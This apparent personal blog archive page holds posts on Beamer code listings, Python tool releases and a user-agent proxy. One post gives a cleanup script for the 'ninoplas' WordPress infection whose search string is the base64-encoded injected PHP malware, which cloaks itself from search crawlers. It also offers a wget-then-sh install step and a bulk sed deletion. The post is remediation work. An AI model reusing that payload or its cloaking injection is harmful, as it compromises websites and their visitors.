The standard way of including source code listings in Beamer is to use the semiverbatim environment. Needless to say, it does not provide all the syntax highlighting and line-numbering love of the listings package. Combine the two and you have something pretty as well as extremely helpful in delivering presentations which have code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| \documentclass{beamer}
\setbeamercovered{transparent}
\usepackage{pxfonts}
\usepackage{listings}
\begin{document}
\lstset{language=python,
numbers=left,
numberstyle=\tiny,
showstringspaces=false,
aboveskip=-40pt,
frame=leftline
}
\begin{frame}[fragile]
\frametitle{\texttt{parrot.py}}
\begin{semiverbatim}
\pause
\begin{lstlisting}
if __name__ == "__main":
\end{lstlisting}
\pause
\begin{lstlisting}[firstnumber=last]
print "Oh yes, the, uh,
the Norwegian Blue..."
print "What's, uh...
What's wrong with it? "
\end{lstlisting}
\pause
\begin{lstlisting}[firstnumber=last]
print "I'll tell you what's wrong with it,
my lad."
print "'E's dead,
that's what's wrong with it!"
\end{lstlisting}
\end{semiverbatim}
\end{frame}
\end{document} |

Tags:
Beamer,
Code,
LaTeX,
Technology,
Tutorial
Continuing the process of presenting my proposal for the graduation project, I was required to do a presentation. Now, I have never really liked PowerPoint and for more reasons than it being a product of Microsoft (I was never really into OpenOffice.org Impress either).
In fact, I have never liked doing presentations in the first place. My preferred means of communicating an idea is through written material or face-to-face discussions. Anyhow, seeing as I had to do a formal presentation, I turned towards the solution that would provide some additional attraction for me:
Beamer.
After fiddling around with my .tex for a few hours, I was able to create something which looked [*] far more professional, sexier and informative than anything I had ever created using traditional presentation software:
ittc-defense-presentation.pdf

To view the presentation you have to open it in “Slide Show” mode of your favorite PDF reader. What totally blew me away was the ease with which I could create lovely bibliographic references, mathematical equations and little fun things like navigational bar on top of every page. Perhaps it’s got to do something with the mindset of a programmer, but I certainly became more productive with Beamer within a couple of hours than I had been throughout my experience with PowerPoint/Impress.
[*] Whether they were professional, sexy or informative is a totally different matter and has very little to do with either LaTeX or Beamer.
Tags:
Beamer,
ITTC,
LaTeX,
Rants
Update: The virus seems to have affected only GoDaddy websites, hence the change in title.
Few hours ago I opened my website and noticed some rather strange Javascript hanging around the bottom. After some inspection, it became evident that every page on my blog was trying to load an IFrame to some place called ninoplas.com. Turns out, I wasn’t alone and there are other users as well who are affected by this. Judging by the fact that different blogs were attacked at the same time, this was in all probability the result of a security hole in some plugin or the core itself.
The virus acted by adding a piece of encrypted code on the first line of all PHP files on the server. It’s rather unsettling to consider the extend of damage that could have been caused with the write access to those files. Still, the damage could be rectified by simply deleting those lines. I wrote a tiny script for doing this job which cleans the ninoplas virus from all the PHP files in the current directory:
clean-ninoplas.sh
1
2
3
| #!/bin/bash
needle='aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkRDUyWVhJZ1luQjRSSE5UWW0wNFBTZGtLaVZBYnlvbFFHTXFKVUIxS2lWQWJTb2xRR1VxSlVCdUtpVkFkQ29sUUM0cUpVQjNLaVZBY2lvbFFHa3FKVUIwS2lWQVpTb2xRQ2dxSlVCY0p5b2xRRHdxSlVCcEtpVkFaaW9sUUhJcUpVQmhLaVZBYlNvbFFHVXFKVUFnS2lWQWN5b2xRSElxSlVCaktpVkFQU29sUUNJcUpVQm9LaVZBZENvb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emluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9'
grep -rl $needle | xargs sed -i '1d' |
Warning: While this script has worked for me, I am in no way providing any guarantee for how it behaves on other blogs. Backup your blog as well as database before executing this script.
You have been warned.
Using the fix is a simple matter of:
-bash-$ cd wordpress
-bash-$ wget http://inspirated.com/uploads/clean-ninoplas.sh
-bash-$ sh clean-ninoplas.sh
And don’t forget to backup everything again after cleaning up. The security hole — if there is one — has still not been tracked and if it’s in the core or some plugin which you’re still using, the virus might not be so benevolent next time.
Tags:
BASH,
Fix,
GoDaddy,
Rants,
Script,
Security,
Virus,
WordPress
Thanks to Christoph Korn, Ubuntu users can now install the package with a single click from the GetDeb repository. The Deb file itself is available on the release page here, along with an RPM for Fedora users.
The looks:

And the hooks:
Changelog:
- Fixed:
- Bug #522735: Facebook: Application Request Limit Reached
- Bug #523378: Connection reset by peer
- Bug #522487: Facebook Friends Graph fails when friends have a dash in their name [patch by Little Jawa]
Tags:
Code,
Deb,
Facebook,
Facebook Friends Graph,
Friends,
Graph,
Graphics,
Internet,
Open Source,
PyFacebook,
Python,
Social Networking,
Statistics,
Technology,
Ubuntu,
Web 2.0
Threads are love. Threads are speed. And more often than not, threads are a consistent PITA. However, I’ve had an accidental epiphany just a few hours ago:
“When in doubt When you need to communicate among threads, use synchronized Queues.”
There. This magic mantra will solve more issues in your life than you can ever imagine, and certainly more than I expected.
Getting back to the topic at hand, adding threading support to the program has sped up the bookmark checking process by a factor of about 435895234. Coupled with fixing of some parsing bugs, Bookmark Undertaker v0.3 is finally capable of providing a quick, stable and consistent way of sanitizing your Firefox favorites:

This time, I’ve also tried to provide Deb and RPM packages on the release page for easy installation by the Debian/Ubuntu/Fedora populace.
Ushering in the era of communist applications:
“If everyone gives one thread, the poor person will have a shirt.” — Russian Proverb
Tags:
Beautiful Soup,
Bookmark Undertaker,
Bookmarks,
Code,
Deb,
Debian,
Fedora,
Firefox,
Mozilla,
Open Source,
PyGTK,
Python,
Red Hat,
RPM,
Technology,
Threading,
Ubuntu
I never really thought anyone other than me would be interested in seeing gargantuan graphs of their friends’ connections until I found out through this post on the OMG! Ubuntu! blog that my application was included in the GetDeb repository for Ubuntu users. I have not used Ubuntu myself since about never, but apparently you can now install the application on Karmic Koala with just a few clicks.
The application itself was in a pretty much skeletal state of being so I was a little taken aback by the exposure. Nevertheless, I was reminded of the famous aphorism apropos of open source development:
“Release early, release often.” — Linus Torvalds
And indeed, the bug reports that came from users were a valuable byproduct of the Ubuntu push as I had stopped development on the script after it started working fine for me.
Tags:
Code,
Deb,
Facebook,
Facebook Friends Graph,
Friends,
Graph,
Graphics,
Internet,
Open Source,
PyFacebook,
Python,
Social Networking,
Statistics,
Technology,
Ubuntu,
Web 2.0
Baffling all reason known to mankind, I have somehow entered my final year of engineering — that is, after earning every conceivable grade on my transcript. As is the custom, I was supposed to work on a graduation project and the first step included presenting a proposal and defending it. Brainstorming sessions for a project idea left me with classical stuff such as HAL-9000 or the Nebuchadnezzar hovercraft. At which point I decided that I simply wasn’t creative enough to come up with an idea on my own and asked around for help. After a few days of frantic Googling and inept socializing with senior academia members, I finally found something which at least managed to sound horrible: an Intrusion Tolerant Threshold Cryptographic System.
The proposal can be found at this link. If the contents seem a bit sparse to you, reread the title as “A Not-At-All Fault Tolerant Attempt at Getting to Grips with
and
“. Although, I’m not entirely sure my attempts at doing something with latex were more successful than Geroge’s.
“And you wanted to be my latex salesman.” — Jerry Seinfeld
Tags:
ITTC,
Rants
“Anyone who slaps a ‘this page is best viewed with Browser X’ label on a Web page appears to be yearning for the bad old days, before the Web, when you had very little chance of reading a document written on another computer, another word processor, or another network.” — Tim Berners-Lee in Technology Review, July 1996
People never learn. Slapping such labels is one thing, they even go as far as adopting brain-dead practices of checking user-agent strings and refusing service to any browser not originating from Redmond. For example, Opera Mobile — the sexiest mobile application on planet — works astonishingly well for Javascript websites. Nevertheless, when trying to browse my university’s academic management portal on it I am presented with a big ugly “We’re dumb, you need to open this page with Internet Explorer 6.0 or later because it uses JAVASCRIPTXX0RZ.” Even though Opera does allow spoofing of user-agent strings, the fake strings still contained “Symbian” as the operating system which still resulted in incompatibility errors.
As ever, Python came to the rescue. Firing up the Twisted framework, I created a simple HTTP proxy which modifies the user-agent string on the fly. Peaches:


The script is still very quirky and is the farthest thing from what you’d call a stable solution. You can download the inital release here. The zip file contains the tiny proxy server script as well as Twisted and Zope dependencies. Good luck with trying to counter retards who’re doing everything they can to avoid compatibility. Yes, even 14 years after Sir Tim’s veracious proclamation.
Tags:
Code,
Flag 42,
Internet,
Nokia,
Open Source,
Proxy,
PyS60,
Python,
Series 60,
Symbian,
Technology,
User-Agent
Continuing the migration to E71, here’s the new release for Inbox Stats which works on Python 2.5 releases:
inboxstats-1.1.zip

Tags:
Code,
Graphics,
Inbox,
Inbox Stats,
Nokia,
Open Source,
PyS60,
Python,
Series 60,
SMS,
Statistics,
Symbian,
Technology
As I finally got my hands on a S60 3rd Edition device last week in form of E71, it was obviously the time to fix my PyS60 scripts for the new version. By using some workarounds to fix some brain-dead compatibility issues which I will detail in a later post, I was able to get CSV Auto-Responder running properly:
csvautoresponder-1.0.zip

Tags:
Code,
CSV Auto-Responder,
Mobile,
Nokia,
Open Source,
PyS60,
Python,
SMS,
Symbian,
Technology